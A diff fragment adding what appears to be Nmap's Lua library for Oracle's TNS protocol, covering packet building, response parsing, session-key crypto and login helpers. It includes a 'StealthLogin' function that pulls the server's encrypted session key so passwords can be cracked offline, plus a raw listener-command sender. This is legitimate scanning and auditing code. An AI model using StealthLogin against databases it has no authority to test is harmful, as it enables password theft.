+ 1000001d601d60001000001d701d70001000001d801d80001000001d901d900
+ 01000001da01da0001000001db01db0001000001dc01dc0001000001dd01dd0
+ 001000001de01de0001000001df01df0001000001e001e00001000001e101e1
+ 0001000001e201e20001000001e301e30001016b0001000001e401e40001000
+ 001e501e50001000001e601e60001000001ea01ea0001000001eb01eb000100
+ 0001ec01ec0001000001ed01ed0001000001ee01ee0001000001ef01ef00010
+ 00001f001f00001000001f201f20001000001f301f30001000001f401f40001
+ 000001f501f50001000001f601f60001000001fd01fd0001000001fe01fe000
+ 100000201020100010000020202020001000002040204000100000205020500
+ 010000020602060001000002070207000100000208020800010000020902090
+ 0010000020a020a00010000020b020b00010000020c020c00010000020d020d
+ 00010000020e020e00010000020f020f0001000002100210000100000211021
+ 100010000021202120001000002130213000100000214021400010000021502
+ 150001000002160216000100000217021700010000021802180001000002190
+ 21900010000021a021a00010000021b021b0001000000030002000a00000004
+ 0002000a0000000500010001000000060002000a000000070002000a0000000
+ 9000100010000000d0000000e0000000f001700010000001000000011000000
+ 12000000130000001400000015000000160000002700780001015d000101260
+ 0010000003a003a0001000000440002000a00000045000000460000004a006d
+ 00010000004c0000005b0002000a0000005e000100010000005f00170001000
+ 000600060000100000061006000010000006400640001000000650065000100
+ 0000660066000100000068000000690000006a006a00010000006c006d00010
+ 000006d006d00010000006e006f00010000006f006f00010000007000700001
+ 000000710071000100000072007200010000007300730001000000740066000
+ 100000076000000770000007900790001
+ ]])
+ else
+ return string.pack(">I2", self.flags) .. stdnse.fromhex( [[
+ 02b200b2004225060101010d010105010101010101017fff0309030301007f011
+ fff010301013f01010500010702010000180001800000003c3c3c80000000d007
+ ]])
+ end
+ end,
+
+}
+
+
+--- This packet is only used by Oracle10 and older
+Packet.Unknown2 = {
+
+ tns_type = Packet.TNS.Type.DATA,
+ flags = 0,
+
+ new = function(self, os)
+ local o = { os = os }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts the DATA packet to string
+ --
+ -- @return string containing the packet
+ __tostring = function( self )
+ if ( "x86_64/Linux 2.4.xx" == self.os ) then
+ return string.pack(">I2", self.flags) .. stdnse.fromhex([[
+ 0000007a007a00010000007b007b00010000008800000092009200010000009
+ 300930001000000980002000a000000990002000a0000009a0002000a000000
+ 9b000100010000009c000c000a000000ac0002000a000000b200b2000100000
+ 0b300b30001000000b400b40001000000b500b50001000000b600b600010000
+ 00b700b70001000000b8000c000a000000b900b20001000000ba00b30001000
+ 000bb00b40001000000bc00b50001000000bd00b60001000000be00b7000100
+ 0000bf000000c0000000c300700001000000c400710001000000c5007200010
+ 00000d000d00001000000d1000000e700e70001000000e800e70001000000e9
+ 00e90001000000f1006d0001000002030203000100000000]]
+ )
+ else
+ return string.pack(">I2", self.flags) .. stdnse.fromhex([[
+ 024502450001000002460246000100000247024700010000024802480001000
+ 0024902490001000000030002000a000000040002000a000000050001000100
+ 0000060002000a000000070002000a00000009000100010000000d0000000e0
+ 000000f00170001000000100000001100000012000000130000001400000015
+ 000000160000002700780001015d0001012600010000003a003a00010000004
+ 40002000a00000045000000460000004a006d00010000004c0000005b000200
+ 0a0000005e000100010000005f0017000100000060006000010000006100600
+ 001000000640064000100000065006500010000006600660001000000680000
+ 00690000006a006a00010000006c006d00010000006d006d00010000006e006
+ f00010000006f006f0001000000700070000100000071007100010000007200
+ 720001000000730073000100000074006600010000007600000077000000790
+ 07900010000007a007a00010000007b007b0001000000880000009200920001
+ 0000009300930001000000980002000a000000990002000a0000009a0002000
+ a0000009b000100010000009c000c000a000000ac0002000a000000b200b200
+ 01000000b300b30001000000b400b40001000000b500b50001000000b600b60
+ 001000000b700b70001000000b8000c000a000000b900b20001000000ba00b3
+ 0001000000bb00b40001000000bc00b50001000000bd00b60001000000be00b
+ 70001000000bf000000c0000000c300700001000000c400710001000000c500
+ 720001000000d000d00001000000d1000000e700e70001000000e800e700010
+ 00000e900e90001000000f1006d0001000002030203000100000000
+ ]])
+ end
+ end,
+
+}
+
+-- Signals that we're about to close the connection
+Packet.EOF = {
+
+ tns_type = Packet.TNS.Type.DATA,
+ flags = 0x0040,
+
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts the DATA packet to string
+ --
+ -- @return string containing the packet
+ __tostring = function( self )
+ return string.pack(">I2", self.flags )
+ end
+}
+
+Packet.PostLogin = {
+
+ tns_type = Packet.TNS.Type.DATA,
+ flags = 0x0000,
+
+ -- Creates a new PostLogin instance
+ --
+ -- @param sessid number containing session id
+ -- @return o a new instance of PostLogin
+ new = function(self, sessid)
+ local o = { sessid = sessid }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Converts the DATA packet to string
+ --
+ -- @return string containing the packet
+ __tostring = function( self )
+ local unknown1 = "116b04"
+ local unknown2 = "0000002200000001000000033b05fefffffff4010000fefffffffeffffff"
+ return string.pack(">I2", self.flags) .. stdnse.fromhex(unknown1) .. string.char(self.sessid) .. stdnse.fromhex(unknown2)
+ end
+
+}
+
+-- Class responsible for sending queries to the server and handling the first
+-- row returned by the server. This class is 100% based on packet captures and
+-- guesswork.
+Packet.Query = {
+
+ tns_type = Packet.TNS.Type.DATA,
+ flags = 0x0000,
+
+ --- Creates a new instance of Query
+ -- @param query string containing the SQL query
+ -- @return instance of Query
+ new = function(self, query)
+ local o = { query = query, counter = 0 }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Gets the current counter value
+ -- @return counter number containing the current counter value
+ getCounter = function(self) return self.counter end,
+
+ --- Sets the current counter value
+ -- This function is called from sendTNSPacket
+ -- @param counter number containing the counter value to set
+ setCounter = function(self, counter) self.counter = counter end,
+
+ --- Converts the DATA packet to string
+ --
+ -- @return string containing the packet
+ __tostring = function( self )
+ local unknown1 = "035e"
+ local unknown2 = "6180000000000000feffffff"
+ local unknown3 = "000000feffffff0d000000fefffffffeffffff000000000100000000000000000000000000000000000000feffffff00000000fefffffffeffffff54d25d020000000000000000fefffffffeffffff0000000000000000000000000000000000000000"
+ local unknown4 = "01000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000"
+ return string.pack(">I2", self.flags)
+ .. stdnse.fromhex(unknown1)
+ .. string.char(self.counter)
+ .. stdnse.fromhex(unknown2)
+ .. string.char(#self.query)
+ .. stdnse.fromhex(unknown3)
+ .. string.pack("s1", self.query)
+ .. stdnse.fromhex(unknown4)
+ end,
+
+ --- Parses the Query response from the server
+ -- @param tns response as received from the <code>Comm.recvTNSPacket</code>
+ -- function.
+ -- @return result table containing:
+ -- <code>columns</code> - a column indexed table with the column names
+ -- <code>types</code> - a column indexed table with the data types
+ -- <code>rows</code> - a table containing a row table for each row
+ -- the row table is a column indexed table of
+ -- column values.
+ parseResponse = function( self, tns )
+ local data = tns.data
+ local result = {}
+
+ local columns = string.unpack("B", tns.data, 35)
+
+ local pos = 40
+ for i=1, columns do
+ local sql_type
+ sql_type, pos = string.unpack("B", data, pos)
+ pos = pos + 34
+ local name
+ name, pos = string.unpack("s1", tns.data, pos)
+ result.columns = result.columns or {}
+ result.types = result.types or {}
+ table.insert(result.columns, name)
+ table.insert(result.types, sql_type)
+ pos = pos + 10
+ end
+
+ pos = pos + 55
+
+ result.rows = {}
+ local row = {}
+ for i=1, columns do
+ local val
+ val, pos = string.unpack("s1", tns.data, pos)
+
+ -- if we're at the first row and first column and the len is 0
+ -- assume we got an empty resultset
+ if ( #val == 0 and #result.rows == 0 and i == 1 ) then
+ return true, { data = result, moredata = false }
+ end
+
+ local sql_type = result.types[i]
+ if ( DataTypeDecoders[sql_type] ) then
+ val = DataTypeDecoders[sql_type](val)
+ end
+ table.insert(row, val)
+ end
+ table.insert(result.rows, row)
+
+ local moredata = true
+ -- check if we've got any more data?
+ if ( #data > pos + 97 ) then
+ local len, err
+ err, pos = string.unpack(">s2", data, pos + 97)
+ if ( err:match("^ORA%-01403") ) then
+ moredata = false
+ end
+ end
+
+ return true, { data = result, moredata = moredata }
+ end,
+}
+
+-- Class responsible for acknowledging a query response from the server
+-- and handles the next several rows returned by the server. This class
+-- is mostly based on packet captures and guesswork.
+Packet.QueryResponseAck = {
+
+ tns_type = Packet.TNS.Type.DATA,
+ flags = 0x0000,
+
+ --- Creates a new QueryResponseAck instance
+ -- @param result table containing the results as received from the
+ -- <code>Query.parseResponse</code> function.
+ -- @return instance new instance of QueryResponseAck
+ new = function(self, result)
+ local o = { result = result }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Gets the current counter value
+ -- @return counter number containing the current counter value
+ getCounter = function(self) return self.counter end,
+
+ --- Sets the current counter value
+ -- This function is called from sendTNSPacket
+ -- @param counter number containing the counter value to set
+ setCounter = function(self, counter) self.counter = counter end,
+
+ --- Serializes the packet into a string suitable to be sent to the DB
+ -- server.
+ -- @return str string containing the serialized packet
+ __tostring = function(self)
+ return string.pack(">I2BBB", self.flags, 3, 5, self.counter) .. stdnse.fromhex("030000000f000000")
+ end,
+
+ --
+ -- This is how I (Patrik Karlsson) think this is supposed to work
+ -- At this point we have the 2nd row (the query response has the first)
+ -- Every row looks like this, where the leading mask marker (0x15) and mask
+ -- is optional.
+ -- | (mask mark)| (bytes) | sor | byte | len * bytes | ... next_column |
+ -- | 0x15 | [mask] | 0x07 | [len]| [column_val]| ... next_column |
+
+ -- The mask is used in order to achieve "compression" and is essentially
+ -- at a bit mask that decides what columns should be fetched from the
+ -- preceding row. The mask is provided in reverse order and a set bit
+ -- indicates that data is provided while an unset bit indicates that the
+ -- column data should be fetched from the previous row.
+ --
+ -- Once a value is fetched the sql data type is verified against the
+ -- DataTypeDecoder table. If there's a function registered for the fetched
+ -- data it is run through a decoder, that decodes the *real* value from
+ -- the encoded data.
+ --
+ parseResponse = function( self, tns )
+ local data = tns.data
+ local len, pos = string.unpack("B", data, 21)
+ local mask = ""
+
+ -- calculate the initial mask
+ if ( len > 0 ) then
+ while( len > 0) do
+ local mask_part
+ mask_part, pos = string.unpack("B", data, pos)
+ mask_part = stdnse.tobinary(bits.reverse(mask_part))
+ assert(#mask_part <= 8)
+ mask_part = ("0"):rep(8-#mask_part)..mask_part
+ mask = mask .. mask_part
+ len = len - 1
+ end
+ pos = pos + 4
+ else
+ pos = pos +3
+ end
+
+ while(true) do
+ local row = {}
+ local result = self.result
+ local cols = #result.columns
+
+ -- check for start of data marker
+ local marker
+ marker, pos = string.unpack("B", data, pos)
+ if ( marker == 0x15 ) then
+ mask = ""
+ -- not sure what this 2-byte value is
+ pos = pos + 2
+
+ -- calculate the bitmask for the columns that do contain
+ -- data.
+ len = cols
+ while( len > 0 ) do
+ local mask_part
+ mask_part, pos = string.unpack("B", data, pos)
+ mask_part = stdnse.tobinary(bits.reverse(mask_part))
+ assert(#mask_part <= 8)
+ mask_part = ("0"):rep(8-#mask_part)..mask_part
+ mask = mask .. mask_part
+ len = len - 8
+ end
+ marker, pos = string.unpack("B", data, pos)
+ end
+ if ( marker ~= 0x07 ) then
+ stdnse.debug2("Encountered unknown marker: %d", marker)
+ break
+ end
+
+ local val
+ local rows = self.result.rows
+ for col=1, cols do
+ if ( #mask > 0 and mask:sub(col, col) == '0' ) then
+ val = rows[#rows][col]
+ else
+ val, pos = string.unpack("s1", data, pos)
+
+ local sql_type = result.types[col]
+ if ( DataTypeDecoders[sql_type] ) then
+ val = DataTypeDecoders[sql_type](val)
+ end
+ end
+ table.insert(row, val)
+ end
+
+ -- add row to result
+ table.insert(rows, row)
+ end
+
+ return true, tns.data
+ end,
+
+}
+
+Marshaller = {
+ --- Marshals a TNS key-value pair data structure
+ --
+ -- @param key The key
+ -- @param value The value
+ -- @param flags The flags
+ -- @return A binary packed string representing the KVP structure
+ marshalKvp = function( key, value, flags )
+ return Marshaller.marshalKvpComponent( key ) ..
+ Marshaller.marshalKvpComponent( value ) ..
+ string.pack( "<I4", ( flags or 0 ) )
+ end,
+
+ --- Parses a TNS key-value pair data structure.
+ --
+ -- @param data Packed string to parse
+ -- @param pos Position in the string at which the KVP begins
+ -- @return table containing the last position read, the key, the value, and the KVP flags
+ unmarshalKvp = function( data, pos )
+ local key, value, flags
+
+ pos, key = Marshaller.unmarshalKvpComponent( data, pos )
+ pos, value = Marshaller.unmarshalKvpComponent( data, pos )
+ flags, pos = string.unpack("<I4", data, pos )
+
+ return pos, key, value, flags
+ end,
+
+ --- Marshals a key or value element from a TNS key-value pair data structure
+ --
+ -- @param value The key or value
+ -- @return A binary packed string representing the element
+ marshalKvpComponent = function( value )
+ value = value or ""
+
+ local sb4len = string.pack("<I4", #value)
+ if #value == 0 then return sb4len end
+ local result = {sb4len}
+ -- 64 bytes is the maximum before Oracle starts chunking strings
+ local MAX_CHUNK_LENGTH = 64
+ if #value > MAX_CHUNK_LENGTH then
+ -- First, write the multiple-chunk indicator
+ table.insert(result, "\xFE")
+ -- Loop through the string value, chunk by chunk
+ local pos = 1
+ repeat
+ local nextpos = pos + MAX_CHUNK_LENGTH
+ table.insert(result, string.pack("s1", value:sub(pos, nextpos - 1)))
+ pos = nextpos
+ until pos > #value
+ -- Finish with an empty chunk
+ table.insert(result, "\0")
+ else
+ table.insert(result, string.pack("s1", value))
+ end
+
+ return table.concat(result)
+ end,
+
+ --- Parses a key or value element from a TNS key-value pair data structure.
+ --
+ -- @param data Packed string to parse
+ -- @param pos Position in the string at which the element begins
+ -- @return table containing the last position read and the value parsed
+ unmarshalKvpComponent = function( data, pos )
+ -- read the 32-bit total length of the value
+ local value_len
+ value_len, pos = string.unpack("<I4", data, pos)
+ if value_len == 0 then return pos, "" end
+ -- Look at the first byte after the total length. If the value is
+ -- broken up into multiple chunks, this will be indicated by this
+ -- byte being 0xFE. Otherwise this is the length of the only chunk.
+ local chunked = string.unpack("B", data, pos) == 0xFE
+ if chunked then
+ pos = pos + 1
+ end
+ -- Loop through the chunks until we read the whole value
+ local chunks = {}
+ repeat
+ local chunk
+ chunk, pos = string.unpack("s1", data, pos)
+ table.insert(chunks, chunk)
+ until #chunk == 0 or not chunked -- last chunk is zero-length
+ return pos, table.concat(chunks)
+ end,
+}
+
+
+-- The TNS communication class uses the TNSSocket to transmit data
+Comm = {
+
+ --- Creates a new instance of the Comm class
+ --
+ -- @param socket containing a TNSSocket
+ -- @return new instance of Comm
+ new = function(self, socket)
+ local o = {
+ socket = socket,
+ data_counter = 06
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Attemts to send a TNS packet over the socket
+ --
+ -- @param pkt containing an instance of a Packet.*
+ -- @return Status (true or false).
+ -- @return Error code (if status is false).
+ sendTNSPacket = function( self, pkt )
+ local tns = Packet.TNS:new( pkt.tns_type )
+ if ( pkt.setCounter ) then
+ pkt:setCounter(self.data_counter)
+ self.data_counter = self.data_counter + 1
+ end
+ tns.data = tostring(pkt)
+ tns.length = #tns.data + 8
+
+ -- buffer incase of RESEND
+ self.pkt = pkt
+
+ return self.socket:send( tostring(tns) )
+ end,
+
+ --- Handles communication when a MARKER packet is received and retrieves
+ -- the following error message
+ --
+ -- @return false always to indicate that an error occurred
+ -- @return msg containing the error message
+ handleMarker = function( self )
+ local status, tns = self:recvTNSPacket()
+
+ if ( not(status) or tns.type ~= Packet.TNS.Type.MARKER ) then
+ return false, "ERROR: failed to handle marker sent by server"
+ end
+
+ -- send our marker
+ status = self:sendTNSPacket( Packet.Attention:new( 1, "\x00\x02") )
+ if ( not(status) ) then
+ return false, "ERROR: failed to send marker to server"
+ end
+
+ status, tns = self:recvTNSPacket()
+ if ( not(status) or tns.type ~= Packet.TNS.Type.DATA ) then
+ return false, "ERROR: expecting DATA packet"
+ end
+
+ -- check if byte 12 is set or not, this should help us distinguish the offset
+ -- to the error message in Oracle 10g and 11g
+ local b1 = string.unpack("B", tns.data, 10)
+ local pos = (b1 == 1) and 99 or 69
+
+ -- fetch the oracle error and return it
+ local msg = string.unpack("s1", tns.data, pos )
+
+ return false, msg
+ end,
+
+ --- Receives a TNS packet and handles TNS-resends
+ --
+ -- @return status true on success, false on failure
+ -- @return tns Packet.TNS containing the received packet or err on failure
+ recvTNSPacket = function( self )
+ local tns
+ local retries = 5
+
+ repeat
+ local function recv()
+ local status, header = self.socket:receive_buf( match.numbytes(8), true )
+ if ( not(status) ) then return status, header end
+
+ local length = string.unpack(">I2", header )
+ local status, data = self.socket:receive_buf( match.numbytes(length - 8), true )
+ if ( not(status) ) then
+ return false, data
+ else
+ return status, Packet.TNS.parse(header .. data)
+ end
+ end
+
+ local status
+ status, tns = recv()
+ if ( not(status) ) then
+ if ( retries == 0 ) then
+ return false, "ERROR: recvTNSPacket failed to receive TNS headers"
+ end
+ retries = retries - 1
+ elseif ( tns.type == Packet.TNS.Type.RESEND ) then
+ self:sendTNSPacket( self.pkt )
+ end
+ until ( status and tns.type ~= Packet.TNS.Type.RESEND )
+
+ return true, tns
+ end,
+
+ --- Sends a TNS packet and receives (and handles) the response
+ --
+ -- @param pkt containing the Packet.* to send to the server
+ -- @return status true on success, false on failure
+ -- @return the parsed response as return from the respective parseResponse
+ -- function or error message if status was false
+ exchTNSPacket = function( self, pkt )
+ local status = self:sendTNSPacket( pkt )
+ local tns, response
+
+ if ( not(status) ) then
+ return false, "sendTNSPacket failed"
+ end
+
+ status, tns = self:recvTNSPacket()
+ if ( not(status) ) then
+ return false, tns
+ end
+
+ --- handle TNS MARKERS
+ if ( tns.type == Packet.TNS.Type.MARKER ) then
+ return self:handleMarker()
+ end
+
+ if ( pkt.parseResponse ) then
+ status, response = pkt:parseResponse( tns )
+ end
+
+ return status, response
+ end
+
+}
+
+--- Class that handles all Oracle encryption
+Crypt = {
+
+ -- Test function, not currently in use
+ Decrypt11g = function(self, c_sesskey, s_sesskey, auth_password, pass, salt )
+ local sha1 = openssl.sha1(pass .. salt) .. "\0\0\0\0"
+ local auth_sesskey = s_sesskey
+ local auth_sesskey_c = c_sesskey
+ local server_sesskey = openssl.decrypt( "aes-192-cbc", sha1, nil, auth_sesskey )
+ local client_sesskey = openssl.decrypt( "aes-192-cbc", sha1, nil, auth_sesskey_c )
+
+ local combined_sesskey = {}
+ for i=17, 40 do
+ combined_sesskey[#combined_sesskey+1] = string.char( string.byte(server_sesskey, i) ~ string.byte(client_sesskey,i) )
+ end
+ combined_sesskey = table.concat(combined_sesskey)
+ combined_sesskey = ( openssl.md5( combined_sesskey:sub(1,16) ) .. openssl.md5( combined_sesskey:sub(17) ) ):sub(1, 24)
+
+ local p = openssl.decrypt( "aes-192-cbc", combined_sesskey, nil, auth_password, false )
+ return p:sub(17)
+ end,
+
+ --- Creates an Oracle 10G password hash
+ --
+ -- @param username containing the Oracle user name
+ -- @param password containing the Oracle user password
+ -- @return hash containing the Oracle hash
+ HashPassword10g = function( self, username, password )
+ local uspw = (username .. password):upper():gsub(".", "\0%1")
+ local key = stdnse.fromhex("0123456789abcdef")
+
+ -- do padding
+ uspw = uspw .. string.rep('\0', (8 - (#uspw % 8)) % 8)
+
+ local iv2 = openssl.encrypt( "DES-CBC", key, nil, uspw, false ):sub(-8)
+ local enc = openssl.encrypt( "DES-CBC", iv2, nil, uspw, false ):sub(-8)
+ return enc
+ end,
+
+ -- Test function, not currently in use
+ Decrypt10g = function(self, user, pass, srv_sesskey_enc )
+ local pwhash = self:HashPassword10g( user, pass ) .. "\0\0\0\0\0\0\0\0"
+ local cli_sesskey_enc = stdnse.fromhex("7B244D7A1DB5ABE553FB9B7325110024911FCBE95EF99E7965A754BC41CF31C0")
+ local srv_sesskey = openssl.decrypt( "AES-128-CBC", pwhash, nil, srv_sesskey_enc )
+ local cli_sesskey = openssl.decrypt( "AES-128-CBC", pwhash, nil, cli_sesskey_enc )
+ local auth_pass = stdnse.fromhex("4C5E28E66B6382117F9D41B08957A3B9E363B42760C33B44CA5D53EA90204ABE")
+ local pass
+
+ local combined_sesskey = {}
+ for i=17, 32 do
+ combined_sesskey[#combined_sesskey+1] = string.char( string.byte(srv_sesskey, i) ~ string.byte(cli_sesskey, i) )
+ end
+ combined_sesskey = openssl.md5( table.concat(combined_sesskey) )
+
+ pass = openssl.decrypt( "AES-128-CBC", combined_sesskey, nil, auth_pass ):sub(17)
+
+ print( stdnse.tohex( srv_sesskey ))
+ print( stdnse.tohex( cli_sesskey ))
+ print( stdnse.tohex( combined_sesskey ))
+ print( "pass=" .. pass )
+ end,
+
+ --- Performs the relevant encryption needed for the Oracle 10g response
+ --
+ -- @param user containing the Oracle user name
+ -- @param pass containing the Oracle user password
+ -- @param srv_sesskey_enc containing the encrypted server session key as
+ -- received from the PreAuth packet
+ -- @return cli_sesskey_enc the encrypted client session key
+ -- @return auth_pass the encrypted Oracle password
+ Encrypt10g = function( self, user, pass, srv_sesskey_enc )
+
+ local pwhash = self:HashPassword10g( user, pass ) .. "\0\0\0\0\0\0\0\0"
+ -- We're currently using a static client session key, this should
+ -- probably be changed to a random value in the future
+ local cli_sesskey = stdnse.fromhex("FAF5034314546426F329B1DAB1CDC5B8FF94349E0875623160350B0E13A0DA36")
+ local srv_sesskey = openssl.decrypt( "AES-128-CBC", pwhash, nil, srv_sesskey_enc )
+ local cli_sesskey_enc = openssl.encrypt( "AES-128-CBC", pwhash, nil, cli_sesskey )
+ -- This value should really be random, not this static cruft
+ local rnd = stdnse.fromhex("4C31AFE05F3B012C0AE9AB0CDFF0C508")
+ local auth_pass
+
+ local combined_sesskey = {}
+ for i=17, 32 do
+ combined_sesskey[#combined_sesskey+1] = string.char( string.byte(srv_sesskey, i) ~ string.byte(cli_sesskey, i) )
+ end
+ combined_sesskey = openssl.md5( table.concat(combined_sesskey) )
+ auth_pass = openssl.encrypt("AES-128-CBC", combined_sesskey, nil, rnd .. pass, true )
+ auth_pass = stdnse.tohex(auth_pass)
+ cli_sesskey_enc = stdnse.tohex(cli_sesskey_enc)
+ return cli_sesskey_enc, auth_pass
+ end,
+
+ --- Performs the relevant encryption needed for the Oracle 11g response
+ --
+ -- @param pass containing the Oracle user password
+ -- @param srv_sesskey_enc containing the encrypted server session key as
+ -- received from the PreAuth packet
+ -- @param auth_vrfy_data containing the password salt as received from the
+ -- PreAuth packet
+ -- @return cli_sesskey_enc the encrypted client session key
+ -- @return auth_pass the encrypted Oracle password
+ Encrypt11g = function( self, pass, srv_sesskey_enc, auth_vrfy_data )
+
+ -- This value should really be random, not this static cruft
+ local rnd = openssl.rand_pseudo_bytes(16)
+ local cli_sesskey = openssl.rand_pseudo_bytes(40) .. stdnse.fromhex("0808080808080808")
+ local pw_hash = openssl.sha1(pass .. auth_vrfy_data) .. "\0\0\0\0"
+ local srv_sesskey = openssl.decrypt( "aes-192-cbc", pw_hash, nil, srv_sesskey_enc )
+ local auth_password
+ local cli_sesskey_enc
+ local data = ""
+
+ local combined_sesskey = {}
+ for i=17, 40 do
+ combined_sesskey[#combined_sesskey+1] = string.char( string.byte(srv_sesskey, i) ~ string.byte(cli_sesskey, i) )
+ end
+ combined_sesskey = table.concat(combined_sesskey)
+ combined_sesskey = ( openssl.md5( combined_sesskey:sub(1,16) ) .. openssl.md5( combined_sesskey:sub(17) ) ):sub(1, 24)
+
+ cli_sesskey_enc = openssl.encrypt( "aes-192-cbc", pw_hash, nil, cli_sesskey )
+ cli_sesskey_enc = stdnse.tohex(cli_sesskey_enc)
+
+ auth_password = openssl.encrypt( "aes-192-cbc", combined_sesskey, nil, rnd .. pass, true )
+ auth_password = stdnse.tohex(auth_password)
+
+ return cli_sesskey_enc, auth_password
+ end,
+
+}
+
+Helper = {
+
+ --- Creates a new Helper instance
+ --
+ -- @param host table containing the host table as received by action
+ -- @param port table containing the port table as received by action
+ -- @param instance string containing the instance name
+ -- @return o new instance of Helper
+ new = function(self, host, port, instance, socket )
+ local o = {
+ host = host,
+ port = port,
+ socket = socket or nmap.new_socket(),
+ dbinstance = instance or stdnse.get_script_args('tns.sid') or "orcl"
+ }
+ o.socket:set_timeout(30000)
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Connects and performs protocol negotiation with the Oracle server
+ --
+ -- @return true on success, false on failure
+ -- @return err containing error message when status is false
+ Connect = function( self )
+ local SUPPORTED_VERSIONS = {
+ "IBMPC/WIN_NT64-9.1.0",
+ "IBMPC/WIN_NT-8.1.0",
+ "Linuxi386/Linux-2.0.34-8.1.0",
+ "x86_64/Linux 2.4.xx"
+ }
+ local status, data = self.socket:connect( self.host.ip, self.port.number, "tcp" )
+ local conn, packet, tns
+
+ if( not(status) ) then return status, data end
+
+ self.comm = Comm:new( self.socket )
+
+ status, self.version = self.comm:exchTNSPacket( Packet.Connect:new( self.host.ip, self.port.number, self.dbinstance ) )
+ if ( not(status) ) then return false, self.version end
+
+ if ( self.version ~= ORACLE_VERSION_11G and self.version ~= ORACLE_VERSION_10G ) then
+ return false, ("Unsupported Oracle Version (%d)"):format(self.version)
+ end
+
+ status = self.comm:exchTNSPacket( Packet.SNS:new( self.version ) )
+ if ( not(status) ) then return false, "ERROR: Helper.Connect failed" end
+
+ status, self.os = self.comm:exchTNSPacket( Packet.ProtoNeg:new( self.version ) )
+ if ( not(status) ) then
+ return false, data
+ end
+
+ -- used for testing unsupported versions
+ self.os = stdnse.get_script_args("tns.forceos") or self.os
+
+ status = false
+ for _, ver in pairs(SUPPORTED_VERSIONS) do
+ if ( self.os == ver ) then
+ status = true
+ break
+ end
+ end
+
+ if ( not(status) ) then
+ stdnse.debug2("ERROR: Version %s is not yet supported", self.os)
+ return false, ("ERROR: Connect to version %s is not yet supported"):format(self.os)
+ end
+
+ if ( self.os:match("IBMPC/WIN_NT") ) then
+ status = self.comm:sendTNSPacket( Packet.Unknown1:new( self.os ) )
+ if ( not(status) ) then
+ return false, "ERROR: Helper.Connect failed"
+ end
+ status, data = self.comm:sendTNSPacket( Packet.Unknown2:new( self.os ) )
+ if ( not(status) ) then return false, data end
+
+ status, data = self.comm:recvTNSPacket( Packet.Unknown2:new( ) )
+ if ( not(status) ) then return false, data end
+ -- Oracle 10g under Windows needs this additional read, there's
+ -- probably a better way to detect this by analysing the packets
+ -- further.
+ if ( self.version == ORACLE_VERSION_10G ) then
+ status, data = self.comm:recvTNSPacket( Packet.Unknown2:new( ) )
+ if ( not(status) ) then return false, data end
+ end
+ elseif ( "x86_64/Linux 2.4.xx" == self.os ) then
+ status = self.comm:sendTNSPacket( Packet.Unknown1:new( self.os ) )
+ if ( not(status) ) then
+ return false, "ERROR: Helper.Connect failed"
+ end
+
+ status = self.comm:sendTNSPacket( Packet.Unknown2:new( self.os ) )
+ if ( not(status) ) then
+ return false, "ERROR: Helper.Connect failed"
+ end
+
+ status, data = self.comm:recvTNSPacket( Packet.Unknown2:new( ) )
+ if ( not(status) ) then
+ return false, data
+ end
+
+ else
+ status = self.comm:exchTNSPacket( Packet.Unknown1:new( self.os ) )
+ if ( not(status) ) then
+ return false, "ERROR: Helper.Connect failed"
+ end
+ end
+
+ return true
+ end,
+
+ --- Sends a command to the TNS lsnr
+ -- It currently accepts and tries to send all commands received
+ --
+ -- @param cmd string containing the command to send to the server
+ -- @return data string containing the result received from the server
+ lsnrCtl = function( self, cmd )
+ local status, data = self.socket:connect( self.host.ip, self.port.number, "tcp" )
+ local conn, packet, tns, pkt
+
+ if( not(status) ) then
+ return status, data
+ end
+
+ self.comm = Comm:new( self.socket )
+ pkt = Packet.Connect:new( self.host.ip, self.port.number, self.dbinstance )
+ pkt:setCmd(cmd)
+
+ if ( not(self.comm:exchTNSPacket( pkt )) ) then
+ return false, self.version
+ end
+
+ data = {}
+ repeat
+ status, tns = self.comm:recvTNSPacket()
+ if ( not(status) ) then
+ self:Close()
+ return status, tns
+ end
+ local flags = string.unpack(">I2", tns.data )
+ data[#data+1] = tns.data:sub(3)
+ until ( flags ~= 0 )
+ self:Close()
+
+ return true, table.concat(data)
+ end,
+
+ --- Authenticates to the database
+ --
+ -- @param user containing the Oracle user name
+ -- @param pass containing the Oracle user password
+ -- @return true on success, false on failure
+ -- @return err containing error message when status is false
+ Login = function( self, user, password )
+ local data, packet, status, tns, parser
+ local sesskey_enc, auth_pass, auth
+ local auth_options = AuthOptions:new()
+
+ status, auth = self.comm:exchTNSPacket( Packet.PreAuth:new( user, auth_options, self.os ) )
+ if ( not(status) ) then
+ return false, auth
+ end
+
+ -- Check what version of the DB to authenticate against AND verify whether
+ -- case sensitive login is enabled or not. In case-sensitive mode the salt
+ -- is longer, so we check the length of auth["AUTH_VFR_DATA"]
+ if ( self.version == ORACLE_VERSION_11G and #auth["AUTH_VFR_DATA"] > 2 ) then
+ sesskey_enc, auth_pass = Crypt:Encrypt11g( password, stdnse.fromhex(auth["AUTH_SESSKEY"]), stdnse.fromhex(auth["AUTH_VFR_DATA"]) )
+ else
+ sesskey_enc, auth_pass = Crypt:Encrypt10g( user, password, stdnse.fromhex(auth["AUTH_SESSKEY"]) )
+ end
+
+ status, data = self.comm:exchTNSPacket( Packet.Auth:new( user, auth_options, sesskey_enc, auth_pass, self.os ) )
+ if ( not(status) ) then return false, data end
+ self.auth_session = data["AUTH_SESSION_ID"]
+ return true
+ end,
+
+ --- Steal auth data from database
+ -- @param user containing the Oracle user name
+ -- @param pass containing the Oracle user password
+ -- @return true on success, false on failure
+ -- @return err containing error message when status is false
+ StealthLogin = function( self, user, password )
+ local data, packet, status, tns, parser
+ local sesskey_enc, auth_pass, auth
+ local auth_options = AuthOptions:new()
+
+ status, auth = self.comm:exchTNSPacket( Packet.PreAuth:new( user, auth_options, self.os ) )
+ if ( not(status) ) then
+ return false, auth
+ elseif ( auth["AUTH_SESSKEY"] ) then
+ return true, auth
+ else
+ return false
+ end
+ end,
+
+ --- Queries the database
+ --
+ -- @param query string containing the SQL query
+ -- @return true on success, false on failure
